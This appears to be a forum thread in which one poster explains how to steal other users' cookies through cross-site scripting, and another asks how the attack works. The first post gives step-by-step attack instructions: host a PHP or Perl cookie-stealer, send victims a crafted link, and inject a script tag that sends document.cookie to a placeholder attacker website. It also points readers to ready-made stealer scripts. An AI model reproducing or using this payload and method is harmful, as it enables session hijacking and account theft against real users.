Basically, you setup a site that uses PHP or PERL and write a script that steals thier cookie.

You use the XSS to inject code that will redirect them to your script.


IE...

You send them a link that is vulnerable to XSS.
CODE

www.vbull.com/exploitedphp.php?<script>window.open('www.YOURWEBSITE.com/cookiestealer.php?document.cookie)</script> (NOT ACTUAL CODE)


That should give you the basic jist of it. You can find PHP and Perl scripts that are already coded for you to use, they just need a little editing.


EDIT: THIS MIGHT EXPLAIN BETTER:

Thanks man I read that tutorial.
But now I have a question cool.gif

Do you mean after injecting the script,It will always redirect the users to our site?

Or Is it just a session between us and the vulnerable site?
And in this session our script will steal cookies.

How can we explain this?

I think I gonna get confiused

If any body knows the theory server of this kind of exploit please let me know.
(Infact I want to know what happens when we use this exploit?... How does vulnerable server see this exploite? And ...)

Thanks inforward.[B]
